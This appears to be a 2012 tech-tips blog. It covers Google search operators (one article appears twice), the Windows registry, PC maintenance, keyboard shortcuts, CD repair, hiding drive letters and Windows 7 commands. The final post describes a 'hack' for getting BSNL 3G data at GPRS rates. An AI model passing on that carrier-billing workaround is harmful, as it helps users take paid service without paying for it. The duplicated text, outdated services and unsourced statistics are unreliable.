Hack and Tricks

20 Great Google Secrets:-

2012-09-11T01:30:00.000-07:00

20 Great Google Secrets
Google is clearly the best general-purpose search engine on the Web

But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number.
20 Great Google Secrets
Google is clearly the best general-purpose search engine on the Web

But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number.

But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options.

Syntax Search Tricks

Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at

www.google.com/help/operators.html

. Here are some advanced operators that can help narrow down your search results.

Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages.

Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as

www.mysite.com/index.html

, you can enter intext:html.

Link: lets you see which pages are linking to your Web page or to another page you're interested in.

For example, link:http://www.Example.com

Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.

Swiss Army Google

Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature

(www.google.com/help/features.html#calculator)

lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything."

Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary.

Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search

(www.buzztoolbox.com/google/yellowsearch.shtml).

Extended Googling

Google offers several services that give you a head start in focusing your search. Google Groups

(http://groups.google.com)

indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle
CODE
(http://froogle.google.com),

which indexes products from online stores, and Google Catalogs
CODE
(http://catalogs.google.com),

which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at

www.google.com/options/index.html

You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser?

Google Alert

(www.googlealert.com)

monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts

(www.google.com/newsalerts).

This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)

Google on the telephone? Yup. This service is brought to you by the folks at Google Labs

(http://labs.google.com),

a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search

(http://labs1.google.com/gvs.html),

you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success.

In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from
CODE
www.google.com/apis

. See the figures for two more examples, and visit

www.pcmag.com/solutions

for more.

Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching.

Online Extra: More Google Tips

Here are a few more clever ways to tweak your Google searches.

Search Within a Timeframe

Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as

CODE
http://aa.usno.navy.mil/data/docs/JulianDate.html

excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif), but an easier way is to do a Google daterange: search by filling in a form at

www.researchbuzz.com/toolbox/goofresh.shtml or www.faganfinder.com/engines/google.shtml

. If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number.

More Google API Applications

Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query

(www.staggernation.com/gawsh/).

When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL

(www.staggernation.com/garbo/).

Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know.

But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options.

Syntax Search Tricks

Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at

www.google.com/help/operators.html

. Here are some advanced operators that can help narrow down your search results.

Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages.

Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as

www.mysite.com/index.html

, you can enter intext:html.

Link: lets you see which pages are linking to your Web page or to another page you're interested in.

For example, link:http://www.Example.com

Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.

Swiss Army Google

Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature

(www.google.com/help/features.html#calculator)

lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything."

Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary.

Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search

(www.buzztoolbox.com/google/yellowsearch.shtml).

Extended Googling

Google offers several services that give you a head start in focusing your search. Google Groups

(http://groups.google.com)

indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle
CODE
(http://froogle.google.com),

which indexes products from online stores, and Google Catalogs
CODE
(http://catalogs.google.com),

which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at

www.google.com/options/index.html

You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser?

Google Alert

(www.googlealert.com)

monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts

(www.google.com/newsalerts).

This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)

Google on the telephone? Yup. This service is brought to you by the folks at Google Labs

(http://labs.google.com),

a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search

(http://labs1.google.com/gvs.html),

you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success.

In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from
CODE
www.google.com/apis

. See the figures for two more examples, and visit

www.pcmag.com/solutions

for more.

Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching.

Online Extra: More Google Tips

Here are a few more clever ways to tweak your Google searches.

Search Within a Timeframe

Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as

CODE
http://aa.usno.navy.mil/data/docs/JulianDate.html

excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif), but an easier way is to do a Google daterange: search by filling in a form at

www.researchbuzz.com/toolbox/goofresh.shtml or www.faganfinder.com/engines/google.shtml

. If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number.

More Google API Applications

Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query

(www.staggernation.com/gawsh/).

When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL

(www.staggernation.com/garbo/).

Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know.

Registry Disassembled a basic tutorial

2012-09-07T02:23:00.000-07:00

Registry Disassembled a basic tutorial

The registry is a hierarchical database that contains virtually all information about your computer's configuration. Under previous version of Windows, those setting where contained in files like config.sys, autoexec.bat, win.ini, system.ini, control.ini and so on. From this you can understand how important the registry is. The structure of the registry is similar to the ini files structure, but it goes beyond the concept of ini files because it offers a hierarchical structure, similar to the folders and files on hard disk. In fact the procedure to get to the elements of the registry is similar to the way to get to folders and files.
In this section I would be examing the Win95\98 registry only although NT is quite similar.
The Registry Editor
The Registry Editor is a utility by the filename regedit.exe that allows you to see, search, modify and save the registry database of Windows. The Registry Editor doesn't validate the values you are writing: it allows any operation. So you have to pay close attention, because no error message will be shown if you make a wrong operation.
To launch the Registry Editor simply run RegEdit.exe ( under WinNT run RegEdt32.exe with administer privileges).
The registry editor is divided into two sectios in the left one there is a hierarchical structure of the database (the screen looks like Windows Explorer) in the right one there are the values.
The registry is organized into keys and subkeys. Each key contains a value entry , each one has a name, a type or a class and the value itself. The name is a string that identifies the value to the key. The length and the format of the value is dependent on the data type.
As you can see with the Registry Editor, the registry is divided into five principal keys: there is no way to add or delete keys at this level. Only two of these keys are effectively saved on hard disk: HKEY_LOCAL_MACHINE and HKEY_USERS. The others are jusr branches of the main keys or are dynamically created by Windows.
HKEY_LOCAL_MACHINE
This key contains any hardware, applications and services information. Several hardware information is updated automatically while the computer is booting. The data stored in this key is shared with any user. This handle has many subkeys:
Config
Contains configuration data for different hardware configurations.
Enum
This is the device data. For each device in your computer, you can find information such as the device type, the hardware manufacturer, device drivers and the configuration.
Hardware
This key contains a list of serial ports, processors and floating point processors.
Network
Contains network information.
Security
Shows you network security information.
Software
This key contains data about installed software.
System
It contains data that checks which device drivers are used by Windows and how they are configured.
HKEY_CLASSES_ROOT
This key is an alias of the branch HKEY_LOCAL_MACHINE\Software\Classes and contains OLE, drag'n'drop, shortcut and file association information.
HKEY_CURRENT_CONFIG
This key is also an alias. It contains a copy of the branch HKEY_LOCAL_MACHINE\Config, with the current computer configuration.
HKEY_DYN_DATA
Some information stored in the registry changes frequently, so Windows maintains part of the registry in memory instead of on the hard disk. For example it stores PnP information and computer performance. This key has two sub keys
Config Manager
This key contains all hardware information problem codes, with their status. There is also the sub key HKEY_LOCAL_MACHINE\Enum, but written in a different way.
PerfStats
It contains performance data about system and network
HKEY_USERS
This important key contains the sub key .Default and another key for each user that has access to the computer. If there is just one user, only .Default key exists. . Each sub key maintains the preferences of each user, like the desktop colors, the fonts used, and also the settings of many programs. If you open a user subkey you will find five important subkeys:
AppEvent
It contains the path of audio files that Windows plays when some events happen.
Control Panel
Here are the settings defined in the Control Panel. They used to be stored in win.ini and control.ini.
Keyboard Layouts
It contains some advanced code which identifies the actual keyboard disposition how it is set into the Control Panel.
Network
This key stores subkeys that describe current and recent network shortcuts.
RemoteAccess
The settings of Remote Access are stored here.
Software
Contains all software settings. This data was stored in win.ini and private .ini files.
HKEY_CURRENT_USER
It is an alias to current user of HKEY_USERS. If your computer is not configured for multi-users usage, it points to the subkey .Default of HKEY_USERS.
Description of .reg file
Here I am assuming that you already have a .reg file on your hard disk and want to know more about how it is structured.Now do not double click the .reg file or it's content will be added to the registry, of course there will be warning message that pops up. Now to view the properties of the .reg file open it in notepad.
To do so first launch notepad by going to Start>Programs>Accessories>Notepad.
Then through the open menu open the .reg file.
Now the thing that differentiates .reg files from other files is the word REGEDIT4. It is found to be the first word in all .reg files. If this word is not there then the registry editor cannot recognize the file to be a .reg file.
Then follows the key declaration which has to be done within square brackets and with the full path.If the key does not exist then it will be created.
After the key declaration you will see a list of values that have to be set in the particular key in the registry.The values look like this:
"value name"=type:value
Value name is in double commas. Type can be absent for string values, dword: for dword values and hex: for binary values. For all other values you have to use the code hex(#): , where # indicate the API code of the type.
So:
"My string" = "string value" is a string
"My dword" = dword:123456789 is a dword
"My binary" = hex:AA,BB,CC is a standard binary
"My other type" = hex(2):AA,BB,00 is an expand string

Important Note: expand string has API code = 2 and extended string has API code = 7.
As you can see, strings are in double quotes, dword is hexadecimal and binary is a sequence of hexadecimal byte pairs, with a comma between each. If you want to add a back slash into a string remember to repeat it two times, so the value "c:\Windows" will be "c:\\Windows".
Before write a new .reg file, make sure you do this else you will get an error message.
Command Line Registry Arguments
FILENAME.REG to merge a .reg file with the registry
/L:SYSTEM to specify the position of SYSTEM.DAT
/R:USER to specify the position of USER.DAT
/e FILENAME.REG [KEY] to export the registry to a file. If the key is specified, the whole branch will be exported.
/c FILENAME.REG to substitute the entire registry with a .reg file
/s to work silently, without prompt information or Warnings.
That wraps up the Windows Registry.

Computer Maintenance :

2012-09-07T02:11:00.000-07:00

You may not realize it, but your computer and your car have something in common: they both need regular maintenance. No, you don't need to change your computer's oil. But you should be updating your software, keeping your antivirus subscription up to date, and checking for spyware. Read on to learn what you can do to help improve your computer's security.

Getting started
Here are some basics maintenance tasks you can do today to start improving your computer's security. Be sure you make these part of your ongoing maintenance as well.
* Sign up for software update e-mail notices. Many software companies will send you e-mail whenever a software update is available. This is particularly important for your operating system (e.g., Microsoft VV!|VD0VV$® or Macintosh), your antivirus program, and your firewall.
* Register your software. If you still have registration forms for existing software, send them in. And be sure to register new software in the future. This is another way for the software manufacturer to alert you when new updates are available.
* Install software updates immediately.
When you get an update notice, download the update immediately and install it. (Remember, downloading and installing are two separate tasks.)
An ounce of prevention
A few simple steps will help you keep your files safe and clean.
* Step 1: Update your software
* Step 2: Backup your files
* Step 3: Use antivirus software and keep it updated
* Step 4: Change your passwords

Developing ongoing maintenance practices
Now that you've done some ground work, it's time to start moving into longer term maintenance tasks. These are all tasks that you should do today (or as soon as possible) to get started. But for best results, make these a part of a regular maintenance schedule. We recommend setting aside time each week to help keep your computer secure.
* Back up your files. Backing up your files simply means creating a copy of your computer files that you can use in the event the originals are lost. (Accidents can happen.) To learn more read our tips for backing up information.

* Scan your files with up to date antivirus software. Use your antivirus scan tool regularly to search for potential computer viruses and worms. Also, check your antivirus program's user manual to see if you can schedule an automatic scan of your computer. To learn more, read our tips for reducing your virus risk
.
* Change your passwords. Using the same password increases the odds that someone else will discover it. Change all of your passwords regularly (we recommend monthly) to reduce your risk. Also, choose your passwords carefully. To learn more, read our tips for creating stronger passwords
.
Making a schedule
One of the best ways to help protect your computer is to perform maintenance regularly. To help you keep track, we suggest making a regular "appointment" with your computer. Treat it like you would any other appointment. Record it in your datebook or online calendar, and if you cannot make it, reschedule. Remember, you are not only helping to improve your computer, you are also helping to protect your personal information.

Window shortcut's :

2012-09-07T01:54:00.001-07:00

Window shortcut's :

CTRL+C (Copy)
CTRL+X (Cut)
CTRL+V (Paste)
CTRL+Z (Undo)
DELETE (Delete)
SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
CTRL while dragging an item (Copy the selected item)
CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
F2 key (Rename the selected item)
CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)
CTRL+A (Select all)
F3 key (Search for a file or a folder)
ALT+ENTER (View the properties for the selected item)
ALT+F4 (Close the active item, or quit the active program)
ALT+ENTER (Display the properties of the selected object)
ALT+SPACEBAR (Open the shortcut menu for the active window)
CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)
ALT+TAB (Switch between the open items)
ALT+ESC (Cycle through items in the order that they had been opened)
F6 key (Cycle through the screen elements in a window or on the desktop)
F4 key (Display the Address bar list in My Computer or Windows Explorer)
SHIFT+F10 (Display the shortcut menu for the selected item)
ALT+SPACEBAR (Display the System menu for the active window)
CTRL+ESC (Display the Start menu)
ALT+Underlined letter in a menu name (Display the corresponding menu)
Underlined letter in a command name on an open menu (Perform the corresponding command)
F10 key (Activate the menu bar in the active program)
RIGHT ARROW (Open the next menu to the right, or open a submenu)
LEFT ARROW (Open the next menu to the left, or close a submenu)
F5 key (Update the active window)
BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
ESC (Cancel the current task)
SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)
Dialog Box Keyboard Shortcuts
CTRL+TAB (Move forward through the tabs)
CTRL+SHIFT+TAB (Move backward through the tabs)
TAB (Move forward through the options)
SHIFT+TAB (Move backward through the options)
ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
ENTER (Perform the command for the active option or button)
SPACEBAR (Select or clear the check box if the active option is a check box)
Arrow keys (Select a button if the active option is a group of option buttons)
F1 key (Display Help)
F4 key (Display the items in the active list)
BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)
Microsoft Natural Keyboard Shortcuts
Windows Logo (Display or hide the Start menu)
Windows Logo+BREAK (Display the System Properties dialog box)
Windows Logo+D (Display the desktop)
Windows Logo+M (Minimize all of the windows)
Windows Logo+SHIFT+M (Restore the minimized windows)
Windows Logo+E (Open My Computer)
Windows Logo+F (Search for a file or a folder)
CTRL+Windows Logo+F (Search for computers)
Windows Logo+F1 (Display Windows Help)
Windows Logo+ L (Lock the keyboard)
Windows Logo+R (Open the Run dialog box)
Windows Logo+U (Open Utility Manager)
Accessibility Keyboard Shortcuts
Right SHIFT for eight seconds (Switch FilterKeys either on or off)
Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
SHIFT five times (Switch the StickyKeys either on or off)
NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
Windows Logo +U (Open Utility Manager)
Windows Explorer Keyboard Shortcuts
END (Display the bottom of the active window)
HOME (Display the top of the active window)
NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
NUM LOCK+Minus sign (-) (Collapse the selected folder)
LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Shortcut Keys for Character Map
After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:
RIGHT ARROW (Move to the right or to the beginning of the next line)
LEFT ARROW (Move to the left or to the end of the previous line)
UP ARROW (Move up one row)
DOWN ARROW (Move down one row)
PAGE UP (Move up one screen at a time)
PAGE DOWN (Move down one screen at a time)
HOME (Move to the beginning of the line)
END (Move to the end of the line)
CTRL+HOME (Move to the first character)
CTRL+END (Move to the last character)
SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)
Microsoft Management Console (MMC) Main Window Keyboard Shortcuts
CTRL+O (Open a saved console)
CTRL+N (Open a new console)
CTRL+S (Save the open console)
CTRL+M (Add or remove a console item)
CTRL+W (Open a new window)
F5 key (Update the content of all console windows)
ALT+SPACEBAR (Display the MMC window menu)
ALT+F4 (Close the console)
ALT+A (Display the Action menu)
ALT+V (Display the View menu)
ALT+F (Display the File menu)
ALT+O (Display the Favorites menu)
MMC Console Window Keyboard Shortcuts
CTRL+P (Print the current page or active pane)
ALT+Minus sign (-) (Display the window menu for the active console window)
SHIFT+F10 (Display the Action shortcut menu for the selected item)
F1 key (Open the Help topic, if any, for the selected item)
F5 key (Update the content of all console windows)
CTRL+F10 (Maximize the active console window)
CTRL+F5 (Restore the active console window)
ALT+ENTER (Display the Properties dialog box, if any, for the selected item)
F2 key (Rename the selected item)
CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)
Remote Desktop Connection Navigation
CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
ALT+PAGE UP (Switch between programs from left to right)
ALT+PAGE DOWN (Switch between programs from right to left)
ALT+INSERT (Cycle through the programs in most recently used order)
ALT+HOME (Display the Start menu)
CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
ALT+DELETE (Display the Windows menu)
CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)
CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)
Microsoft Internet Explorer Navigation
CTRL+B (Open the Organize Favorites dialog box)
CTRL+E (Open the Search bar)
CTRL+F (Start the Find utility)
CTRL+H (Open the History bar)
CTRL+I (Open the Favorites bar)
CTRL+L (Open the Open dialog box)
CTRL+N (Start another instance of the browser with the same Web address)
CTRL+O (Open the Open dialog box, the same as CTRL+L)
CTRL+P (Open the Print dialog box)
CTRL+R (Update the current Web page)
CTRL+W (Close the current window)

Tips to recover scratched CD's

2012-08-25T03:35:00.001-07:00

Tips to recover scratched CD's

1. Spread a cloth on a flat surface and place the CD on it.

2. Then, hold the disc with one hand, use the other to wipe the polish into the affected area with a soft cloth.

3. Wait for it to dry and buff using short, brisk strokes along the scratch, not across it.

4. A cloth sold to wipe spectacles or camera lenses will work super m8's.

5. When you can no longersee the scratch,, wash the disc with water and let it dry before playing. Intersting isnt it? Try it right now
I have used toothpaste with good effects before Ive also used car paint cutting compound on deeper scratches. It does leave lots of smaller scratches (as it is a cutting compound after all) but it will remove the worst scratches in most cases.
ya u r gng to b surely befinited by this Operation

* Fingermarks/prints cause 43% of disc problems!
* General wear & tear causes 25% of disc problems!
* Player-related issues cause 15% of disc problems!
* Remaining Others

How to hide your Disk drive:

2012-08-25T03:31:00.001-07:00

How to hide your Disk drive:

here is a simple method to hide ur disk drive >>open control panel
1-go to administrative tools

2-click computer managment

3-now a window will appear

4-click disk managment on the left column now u will see al disk drives

5-suppose u have to hide local disk E

6-right click on local disk E and choose "change drive letter and paths" now a small window will appear showing ur letter"E" click remove and then ok.....

open my computer u will not see local disk E to bring back repeat the abv steps but when u open disk managment the drive that is hidden will b without any letter

7-right click on it and

8-choose "change drive letter and paths"

9-press add and than ok

Windows 7 Command Line Common Commands:

2012-08-25T03:24:00.000-07:00

Windows 7 Command Line Common Commands:

Ok, so I noticed that it is very hard to find a proper list of all common windows 7 command line commands. So I decided to make a list myself. Also I added the use of some common commands and tips about the windows 7 command-line at the end of the post. Even though it might look scary at first for newbies, command-line can be very useful.
Also, a big thank

s to Clifford, who made a free downloadable guide of the Commands Prompt.

Windows 7 Command Line Common Commands:

ASSOC: Displays or modifies file extension associations.
ATTRIB: Displays or changes file attributes.
BREAK: Sets or clears extended CTRL+C checking.
BCDEDIT: Sets properties in boot database to control boot loading.
CACLS: Displays or modifies access control lists (ACLs) of files.
CALL: Calls one batch program from another.
CD: Displays the name of or changes the current directory.
CHCP: Displays or sets the active code page number.
CHDIR: Displays the name of or changes the current directory.
CHKDSK: Checks a disk and displays a status report.
CHKNTFS: Displays or modifies the checking of disk at boot time.
CLS: Clears the screen.
CMD: Starts a new instance of the Windows command interpreter.
COLOR: Sets the default console foreground and background colors.
COMP: Compares the contents of two files or sets of files.
COMPACT: Displays or alters the compression of files on NTFS partitions.
CONVERT: Converts FAT volumes to NTFS. You cannot convert the
current drive.
COPY: Copies one or more files to another location.
DATE: Displays or sets the date.
DEL: Deletes one or more files.
DIR: Displays a list of files and subdirectories in a directory.
DISKCOMP: Compares the contents of two floppy disks.
DISKCOPY: Copies the contents of one floppy disk to another.
DISKPART: Displays or configures Disk Partition properties.
DOSKEY: Edits command lines, recalls Windows commands, and
creates macros.
DRIVERQUERY: Displays current device driver status and properties.
ECHO: Displays messages, or turns command echoing on or off.
ENDLOCAL: Ends localization of environment changes in a batch file.
ERASE: Deletes one or more files.
EXIT: Quits the CMD.EXE program (command interpreter).
FC: Compares two files or sets of files, and displays the
differences between them.
FIND: Searches for a text string in a file or files.
FINDSTR: Searches for strings in files.
FOR: Runs a specified command for each file in a set of files.
FORMAT: Formats a disk for use with Windows.
FSUTIL: Displays or configures the file system properties.
FTYPE: Displays or modifies file types used in file extension
associations.
GOTO: Directs the Windows command interpreter to a labeled line in
a batch program.
GPRESULT: Displays Group Policy information for machine or user.
GRAFTABL: Enables Windows to display an extended character set in
graphics mode.
HELP: Provides Help information for Windows commands.
ICACLS: Display, modify, backup, or restore ACLs for files and
directories.
IF: Performs conditional processing in batch programs.
LABEL: Creates, changes, or deletes the volume label of a disk.
MD: Creates a directory.
MKDIR: Creates a directory.
MKLINK: Creates Symbolic Links and Hard Links
MODE: Configures a system device.
MORE: Displays output one screen at a time.
MOVE: Moves one or more files from one directory to another
directory.
OPENFILES: Displays files opened by remote users for a file share.
PATH: Displays or sets a search path for executable files.
PAUSE: Suspends processing of a batch file and displays a message.
POPD: Restores the previous value of the current directory saved by
PUSHD.
PRINT: Prints a text file.
PROMPT: Changes the Windows command prompt.
PUSHD: Saves the current directory then changes it.
RD: Removes a directory.
RECOVER: Recovers readable information from a bad or defective disk.
REM: Records comments (remarks) in batch files or CONFIG.SYS.
REN: Renames a file or files.
RENAME: Renames a file or files.
REPLACE: Replaces files.
RMDIR: Removes a directory.
ROBOCOPY: Advanced utility to copy files and directory trees
SET: Displays, sets, or removes Windows environment variables.
SETLOCAL: Begins localization of environment changes in a batch file.
SC: Displays or configures services (background processes).
SCHTASKS: Schedules commands and programs to run on a computer.
SHIFT: Shifts the position of replaceable parameters in batch files.
SHUTDOWN: Allows proper local or remote shutdown of machine.
SORT: Sorts input.
START: Starts a separate window to run a specified program or command.
SUBST: Associates a path with a drive letter.
SYSTEMINFO: Displays machine specific properties and configuration.
TASKLIST: Displays all currently running tasks including services.
TASKKILL: Kill or stop a running process or application.
TIME: Displays or sets the system time.
TITLE: Sets the window title for a CMD.EXE session.
TREE: Graphically displays the directory structure of a drive or
path.
TYPE: Displays the contents of a text file.
VER: Displays the Windows version.
VERIFY: Tells Windows whether to verify that your files are written
correctly to a disk.
VOL: Displays a disk volume label and serial number.
XCOPY: Copies files and directory trees.
WMIC: Displays WMI information inside interactive command shell.

BSNL 3G Hack trick to Unlimited Browsing at normal GPRS rate

2012-08-25T03:19:00.001-07:00

BSNL 3G Hack trick to Unlimited Browsing at normal GPRS rate

Here is a 100 % working trick to unlimited use BSNL 3G at the cost of
Normal GPRS

First of all Buy a normal 2g bsnl's sim card and keep balance 50+ rs.
now activate gprs by sending sms GPRS PRE to 53733 It will be
activated in 24 hours, after activation get gprs settings by calling customer care

Now do e-recharge with 230 rs (or whate

ver unlimited plan exists in your area)
in it, After activation You have to chnage only one thing in yor 3G enabled cell.

Go to settings>tools>settings>phone&g
t;network>network mode> now select UMTS

THEN do manual searching for network u will fing bsnl 3g network there wid small 3g logo along wid its name, select it as default

Now see your data singnals logo, it is converted into 3G
You will get near about 500kbps to 1200 kbps speed
Remember use BSNLEGPRS or BSNLPREPAID as your access point

Speed up your internet by 20%

